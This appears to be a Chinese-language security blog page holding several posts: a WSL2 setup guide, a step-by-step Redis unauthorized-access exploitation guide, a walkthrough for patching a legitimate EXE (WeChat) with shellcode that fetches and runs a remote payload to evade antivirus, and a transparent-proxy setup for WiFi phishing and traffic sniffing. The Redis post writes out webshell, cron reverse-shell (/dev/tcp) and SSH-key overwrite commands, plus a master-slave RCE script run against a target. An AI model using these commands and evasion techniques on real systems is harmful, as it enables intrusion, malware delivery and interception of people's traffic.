跳到主要内容

WSL2的安装与体验

· 阅读需 4 分钟
声明

本文版权归原作者所有,转载请注明出处。

每次需要 Linux 的时候都要开一台虚拟机太麻烦,于是想着安装个 WSL 2 体验一波,感觉还不错,非常方便,尤其是使用 Docker 的体验,在镜像网络模式下,端口与主机共享,打靶场以及打攻防感觉很棒。

安装步骤

然后重新启动电脑。

首先要更新一下 wsl:

wsl --update

查看有哪些可用的 Linux 发行版:

wsl --list --online 

安装指定发行版:

wsl --install -d <发行版名称> --web-download

设置进入的默认用户:

# 进入powershell
<发行版名称>.exe config --default-user <用户名>

相关配置

WSL 常用全局配置:

# 用户文件夹下的 .wslconfig
[wsl2]
memory=2GB
processors=2
swap=4GB
networkingMode=mirrored # 镜像网络

[experimental]
autoMemoryReclaim=dropcache # 缓存内存释放
hostAddressLoopback=true # 本地回环监听

启用 systemd,启用后在终端启动 WSL 会变慢,一般没特殊需求建议关闭,不影响 docker:

# vi /etc/wsl.conf
[boot]
systemd=true

如果需要 docker 监听的端口与 Windows 也能访问,则需要关闭 docker 的 iptables,文件如下:

/etc/docker/daemon.json

{
"iptables": false
}

升级内核(手动编译)

默认的 WSL 内核版本目前是 5.13,想要升级至 6.0 的内核,则需要手动编译。

步骤参考:How to use the Microsoft Linux kernel v6 on WSL2 | Microsoft Learn

编译后是一次性的,如果删除 WSL 即使保留内核也没用,因为还需要内核模块,除非你把内核模块都打包备份,下次用解压至指定路径,不同发行版应该也都不通用。

克隆需要的内核版本源代码,目前版本最新是 6.6.y,视情况而定:

git clone https://github.com/microsoft/WSL2-Linux-Kernel.git --depth=1 -b linux-msft-wsl-6.6.y
  1. 安装依赖,其中 rsync 软件包 kali 当中没有,会影响内核模块的安装,我这里加上了:
sudo apt update && sudo apt install build-essential flex bison libssl-dev libelf-dev bc python3 pahole rsync -y
  1. 进入源代码目录:
cd WSL2-Linux-Kernel
  1. 编译内核:
make -j$(nproc) KCONFIG_CONFIG=Microsoft/config-wsl
  1. 安装内核模块,可能下次启动
sudo make modules_install headers_install
  1. 复制内核至 D 盘,其他位置也行:
cp arch/x86/boot/bzImage /mnt/d/
  1. 全局搜索 kernel 文件,建议使用 everything,我的是在 C:\Program Files\WSL\tools,将内核文件放在此目录,其他目录也行无所谓,然后在配置文件中添加:

.wslconfig

[wsl2]
kernel=<内核文件路径>

重启 WSL ,运行以下命令查看内核模块是否安装,如果没有安装,需要再次执行步骤 4:

ls /lib/modules/$(uname -r)/

Redis未授权利用方式总结

· 阅读需 7 分钟
声明

本文版权归原作者所有,转载请注明出处。

前言

目前的大多数网站搭建的Redis 均采用 docker 一键部署的方式,而 docker 镜像中的 redis 默认不是以 root 权限运行的,也就是说即使拿下这台 redis,我们也只能在对方服务器的本地内网中漫游,当然还是会有部分 redis 部署在服务器中。

未授权及权限判断

未授权判断

无密码连接至目标 redis 后,执行 info 命令,如出现 redis 的相关信息,则说明存在未授权。

权限判断

连接 redis 发现存在未授权,但我们并不知道它运行用户的权限,先尝试将数据库文件目录设置为根目录:

config set dir /

如果显示 OK,几乎可以确定为 root 权限,非 root 会提示:permission denied

利用方式

写文件利用

Redis 提供了 config set dirconfig set dbfilename 来分别设置数据库文件的保存位置和文件名。

写入 webshell

条件:

  1. 知道网站目录的绝对路径
  2. 运行 redis 的用户权限需要对网站目录有写入权限

既然可以写文件,那么就可以利用这种方式将 webshell 写入网站目录,以此来 getshell。

连接至未授权的 redis,依次执行:

# 清空所有数据库的所有 key
flushall

# 设置数据库文件的保存位置,修改为网站的目录
config set dir /var/www/html/

# 设置存储的文件名
config set dbfilename shell.php

# 将webshell的内容存入名为xxx的键,键名随意
set xxx "\n\n<?php $_POST['cmd'];?>\n\n"

# 保存写入
save

写定时任务反弹 shell

  1. Redis 以Root 权限运行

这里要注意,不同的 Linux 发行版写入定时任务情况有些区别,其中位置区别如下:

Linux 发行版定时任务路径及文件名要求
红帽系(Centos)/etc/cron.d/<任意>、/var/spool/cron/<用户名>
Debian 系/etc/cron.d/<任意>

不同的位置,命令也有所区别:

定时任务位置命令示例
/etc/cron.d/<任意>* * * * * <用户名> <命令>* * * * * root /bin/bash -i >& /dev/tcp/127.0.0.1/8888 0>&1
/var/spool/cron/<用户名>* * * * * <命令>* * * * * /bin/bash -i >& /dev/tcp/127.0.0.1/8888 0>&1

这里还需注意,在 debian 系的 Linux 发行版中,/var/spool/cron/crontabs/ 也是定时任务文件目录,但由于它对文件权限有限制,因此无法作为利用目录,同时在定时任务中反弹 shell 时不能直接使用常规的 /bin/bash -i >& /dev/tcp/127.0.0.1/8888 0>&1,而是这种形式:

* * * * * bash -c "bash -i >& /dev/tcp/127.0.0.1/8888 0>&1"

原因参考:https://blog.csdn.net/SHELLCODE_8BIT/article/details/128332941

满足上述要求后,依次执行以下命令:

# 清空所有数据库的所有 key
flushall

# 写入特定目录
config set dir /var/spool/cron/

# 按照要求设置存储的文件名,通常是root
config set dbfilename root

# 写入定时任务,每分钟执行一次,按照要求填写
set xxx "\n\n* * * * * bash -c 'bash -i >& /dev/tcp/127.0.0.1/8888 0>&1'\n\n"

# 保存写入
save

写入 SSH 公钥

原理:通过覆写目标机器的公钥,达到无密码使用私钥即可连接目标机器。

条件:

  1. redis 以 Root 权限运行
  2. 目标机器开启了私钥登录,默认是不开启
  3. 目标机器创建了公钥,即存在 /root/.ssh 文件夹

执行命令如下:

# 生成rsa密钥对,回车即可
ssh-keygen -t rsa

# 写入tmp文件
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/public_key.txt

# 写入公钥至redis xxxx key,方便后续写入
cat /tmp/public_key.txt | redis-cli -h x.x.x.x -p 6379 -x set xxxx

# 连接目标redis
redis-cli -h x.x.x.x -p 6379

# 接着执行
config set dir /root/.ssh/
config set dbfilename "authorized_keys"
save

# 连接部分主机需要添加-o PubkeyAcceptedAlgorithms=+ssh-rsa
ssh root@x.x.x.x -i ~/.ssh/id_rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa

主从复制 RCE

原理:

通过 redis 的加载外部拓展可以执行命令,连接目标 redis 设置使用 slaveof 命令将本机 redis 设置为主机,将恶意 so 文件同步至目标 redis,连接然后执行命令即可。

实际利用过程:使用开源的自动化利用脚本,原理是构造特定 redis 的网络请求,模拟主从复制的过程。

条件:

  1. Redis 4.x 及 5.x,高版本默认关闭模块加载功能

模块编译:n0b0dyCN/RedisModules-ExecuteCommand: Tools, utilities and scripts to help you write redis modules! (github.com)

自动化利用脚本:Ridter/redis-rce: Redis 4.x/5.x RCE (github.com)

快速利用脚本(自编译模块):yinsel/redis-rce: Redis 4.x/5.x RCE (github.com)

利用过程:

# 克隆仓库
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand

# 进入脚本
cd RedisModules-ExecuteCommand

# 安装依赖并编译模块
apt install gcc make -y && make

# 在当前目录克隆自动化脚本
git clone https://github.com/Ridter/redis-rce

# 移动模块并进入脚本目录同时安装依赖
mv module.so ./redis-rce/exp.so && cd redis-rce && pip install -r requirements.txt

# 运行脚本getshell
python3 redis-rce.py -r <目标> -L <VPS公网IP> -f exp.so

效果:

参考链接

https://blog.csdn.net/qq_41874930/article/details/112781957

https://blog.csdn.net/SHELLCODE_8BIT/article/details/128332941

https://paper.seebug.org/975/

https://www.cnblogs.com/one-seven/p/15162039.html

记一次Patch exe 文件实现的静态免杀

· 阅读需 10 分钟
声明

本文版权归原作者所有,转载请注明出处。

前言

常驻在微信订阅号的我,翻到一篇文章:mp.weixin.qq.com/s/b0mphQG-nny0X087JsjsKQ,这篇文章简单介绍了通过手动 Patch PE 文件来实现 VT 全绿,看完后我又想起了曾经看到的另外一篇文章,实现的思路是类似的:mp.weixin.qq.com/s/nP0IqpGvGeWagmVsWtzC9Q,于是想着动手试一试,学习一下大佬们的思路,并记录下来,仅适用于 64 位的 exe以及无重定位表的 32 位 exe,如果有可尝试去除。

实现思路

通过替换 exe 文件二进制函数代码,让程序启动时执行修改后的函数代码。

注意:程序初期运行的函数体一般不会很大,可能容不下 shellcode,像 CS、MSF 生成的 shellcode 具有不稳定性,甚至是无法上线,需要手动编写提取,尽量减少大小和特征,本文采用对 exe 文件进行两次 patch,例如:第一次 patch 程序函数体较小的A 函数,填充自定义 shellcode,且功能仅是跳转至另一个函数体较大的 B函数,第二次 patch 是将 B 函数替换为真正的上线 shellcode,即远程加载,这种方式提高了 patch 的成功率,当然也可以实现多层跳转,甚至是函数间传递参数,让 exe 为自己所用。

名词解释

PE 文件

Windows 的可执行文件的统称,常见的 PE 文件文件拓展名有 exe、dll、sys 等,当然以它们结尾的文件不一定是 PE 文件,还需要满足一定的文件格式,这里就不细说了,上网查阅资料即可。

VA

虚拟内存地址,即 PE 文件中的数据被操作系统加载进内存后的地址。

RVA

相对虚拟地址,即加载到内存中 PE 文件的数据相对于PE 基址(PE 文件的起始虚拟地址)的距离,例如假设一个 exe 文件加载后的虚拟地址为 0x10000,exe 在内存中的某块数据地址为0x13000,则可以说这块数据的 RVA 为 0x3000。

FOA

文件偏移地址,某块数据相对于文件头中位置。

前期准备

  • 一个受害者 exe 文件(拿微信举例)
  • IDA Pro (反编译)
  • CFF Explorer(方便计算函数地址及偏移)
  • 010 Editor (文件编辑器)
  • Visual Studio 2022 C/C++开发环境(开发自定义的shellcode)

实现步骤

寻找合适的 exe 文件

  1. 大小合适,看需要
  2. 没有静态链接特定DLL 文件,即打开不会出现诸如此类的弹窗:"由于找不到 xxx.dll,无法继续执行代码。重新安装程序可能会解决此问题。"
  3. 64 位的 exe 或者无重定位表的 32 位 exe (是否存在重定位表可使用 CFF 查看是否具有.reloc 段,或者其他 PE 工具也可以)

寻找 Patch 点

以微信的 exe 为例,满足上述程序要求,程序名为 WeChat.exe。先尝试运行一下,这里微信直接运行会弹窗,在没有 DLL 的情况下会提示(这种情况是缺少相应的动态链接的 DLL):

之后将其拖入 IDA,找到 WinMain 函数,并使用 F5 查看伪代码:

断点并开启调试,目的是找到离程序退出最近的地方,断点后执行如果断住了说明程序运行时可以运行到这:

根据上面的操作,可以使用 IDA 的动态调试功能,逐一断点尝试,最终是选取了 sub_140001AE0 作为第一次 patch 的函数(其他的也可以,主要看程序启动能否调用到):

接下来寻找第二次 patch 的函数,也就是函数体较大且无需考虑是否由程序自身来调用,以 length 排序,最终选取 sub_140002C70

替换程序自身调用的函数 sub_140001AE0,以及函数体较大的 sub_140002C70,分别计算偏移,将程序拖入 CFF Exploere,填入函数名后面的 VA,得出文件偏移 FOA

函数VARVAFOA
sub_140001AE0140001AE000001AE000000EE0
sub_140002C70140002C7000002C7000002070

编写 shellcode

Shellcode 开发起来有点麻烦,这里可以参考网上的一些教程及项目:

https://www.bilibili.com/video/BV1q14y1978H

https://www.bilibili.com/video/BV1hN4y1y7w6

Sec-Fork/ShellCodeFrames: 使用纯C/C++编写的ShellCode生成框架 (github.com)

第一段 shellcode 功能实现跳转,伪代码如下:

void goto_shellcode() {
DWORD sub_140002C70_RVA = 0x2C70
// 获取当前exe加载至内存的基地址
DWORD64 exeBase = GetExeBase();
// 这里可以适当加点混淆代码,最终目的是跳转
// ......
// 转换为函数指针并调用,通过基址加上偏移地址即为目标函数的虚拟地址
((void(*)(void))(exeBase + sub_140002C70_RVA))();
}

第二段 shellcode 功能需实现真正的上线,伪代码如下:

void start_shellcode() {
// 这里也可以适当加一点混淆代码
// .....。
// 从远程下载url
unsigned char payload = GetPayloadFromRemote(url);
// 解密载荷
decrypt(payload, key);
// 加载至内存中运行
run(payload);
}

在编写 shellcode 的过程中,可以加入自己的简单的反沙箱代码(例如检测桌面文件数量等等正常终端具备的特征),但不能过于复杂,否则 shellcode 体积会变大,且可能会出现一些其他问题,因为调用 Windows API 需要动态获取,因此编写起来会比较麻烦。

替换函数体

假设 shellcode 已经编写完毕,使用 CFF Explorer 计算出来的 FOA,再用 010 Editor 进行替换,流程如下:

成果展示

VT(0/74):

https://www.virustotal.com/gui/file/b29e0b80a6bb03e8bf14179d08a2daad358e5b84bb53419f83da3a4d0924299e

微步(0/27):

https://s.threatbook.com/report/file/b29e0b80a6bb03e8bf14179d08a2daad358e5b84bb53419f83da3a4d0924299e

上述沙箱效果是在 shellcode 里加入了简单的反沙箱,以及比较 low 的混淆,有兴趣的大佬可以下载分析一下,我对于样本分析还缺乏学习。

总结

在编写完 shellcode 后,剩下的就是寻找 exe 文件,合适的 exe 文件非常之多,他们自带大量的正常程序所拥有的代码,可以很好的规避杀软的静态查杀,如果再加上动态查杀的技术例如 syscall、白加黑等利用方式,或许是一种比较好的免杀方式。

个人认为优缺点如下:

  • 优点:在编写完 shellcode 后,这种方式可以快速生成免杀马,也可以作为冲锋马,且比较灵活,由于程序具备大量正常代码,杀软更加难以识别隐藏的恶意代码,免杀效果较好。

  • 缺点:需要手动编写 shellcode,比较繁琐,门槛较高,但编写的过程中也能更好地加强自己对于恶意软件的理解。

提问:这种类型的恶意软件会具备什么特征?杀软厂商该如何进行标记?

最后,引用大佬的话:做安全,免杀是一个永恒的话题,是一场猫捉老鼠的游戏。

APP渗透、WIFI近源渗透之透明代理下的流量分析与嗅探

· 阅读需 9 分钟
声明

本文版权归原作者所有,转载请注明出处。

前言

在攻防中对APP进行渗透时可能会遇到代理及VPN的检测,以及在近源渗透时可能会有WIFI钓鱼的需求,而透明代理是一个很好的解决方案,利用透明代理可以实现HTTP流量的嗅探和分析。

什么是透明代理

透明代理是顾名思义它是“透明”的代理,“透明”意味着看不见,即代理对于客户端来说是不可见的,客户端不知道自己的流量被代理了,因此在对APP渗透时它就无法检测代理。

透明代理的方式

  1. 在已Root的Android设备上,利用iptables规则将流量进行透明转发,缺点时需要Root。
  2. 购置软路由,直接在路由器上利用iptables规则转发流量,缺点是需要有折腾软路由的经验。
  3. 购置USB无线网卡,将Kali Linux充当路由,利用iptables转发流量,缺点是需要购买兼容Linux的无线网卡,且配置相对复杂。
  4. 在Windows下利用Netch以及无线WIFI共享实现透明代理。

本文主要讲解第四种实现方式,门槛较低配置相对来说比较简单。

前提条件

  1. 一台具备热点共享功能的Windows PC机(笔记本一般都行,台式可购置USB无线网卡)
  2. Windows 10 虚拟机(VMware平台,其他未测试)

操作步骤

Windows 10 虚拟机配置

将网络适配器更改为桥接模式,如果迟迟获取不到IP地址,可以设置静态IP,网段要匹配

在虚拟机中安装Reqable、BurpSuite,安装过程省略

启动Reqable,选择API抓包,点击启动会弹出安装证书,这一步不需要,点击完成再点击启动即可,其中会显示监听IP及端口,图中是192.168.100.204:9000

右键SSL功能,选择全部绕行,目的为了在设备没有安装证书的情况下不影响正常网络,并且可以抓取HTTP流量

安装并配置Netch

从Github下载:Releases · netchx/netch (github.com)

下载完成后运行,并添加Socks服务器

地址和端口填写Reqable监听的即可

模式选择BypassAN

最后点击启动,会出现一个新的虚拟网卡

同时虚拟机中Reqable会出现一个用于检测代理可用性的HTTP请求,到这一步说明代理没问题。

开启热点并共享TUN网卡

开启热点,可以使用windows自带的功能也可以使用Connectify

打开网络适配器管理,将虚拟网卡共享给本地连接(Microsoft Wi-Fi Direct Virtual Adapter)

至此,开启的WIFI热点的流量透明地会走向虚拟机的Reqable,可以查看连接设备的流量,因为没有证书,只能查看并修改HTTP流量,不能查看HTTPS流量的内容。在APP渗透中安装证书后使用二级代理功能可以配合BurpSuite可以进行抓包。

需要注意一点,开热点的笔记本的流量也会被代理,因此需要保证笔记本尽可能减少网络使用。

在设备连接WIFI后,都是可以正常访问网络,因为走了SOCKS5代理,支持大多数网络协议,流量都可以查看,包括IP端口或者域名效果如下:

实现效果

流量嗅探

拦截HTTP流量

利用二级代理通过BurpSuite进行抓包拦截,可实现拦截HTTP流量的效果:

总结

利用本文所实现透明代理方式我们可以更好的对APP进行渗透,并且可以快速开展WIFI近源渗透,开放一个WIFI用于流量嗅探,并且可以诱使目标访问HTTP网站从而修改HTTP流量,还可以配合Kali Linux利用WIFI无线攻击让目标WIFI断网断连,连接至我们开放的钓鱼WIFI。

优点是配置起来相对简单,设备的话基本上一台笔记本就可以满足。缺点是需要占用一定内存,对笔记本配置有较高要求。

参考链接

https://www.sockscap64.com/forums/topic/%e5%b0%86sstap%e8%99%9a%e6%8b%9f%e7%bd%91%e5%8d%a1%e5%85%b1%e4%ba%ab%e7%bb%99%e5%90%8c%e5%b1%80%e5%9f%9f%e7%bd%91%e5%85%b6%e5%ae%83%e7%9a%84%e4%b8%bb%e6%9c%ba%e3%80%81%e6%8e%8c%e6%9c%ba%e3%80%81/

https://xtls.github.io/Xray-docs-next/document/level-2/transparent_proxy/transparent_proxy.html

https://blog.csdn.net/weixin_34348805/article/details/85827287

第一篇文章

· 阅读需 1 分钟

之前写的博客有点乱,写的不太像文章,有点杂碎了,从本篇文章开始,之后的文章我会持续认真写作,记录并分享安全知识。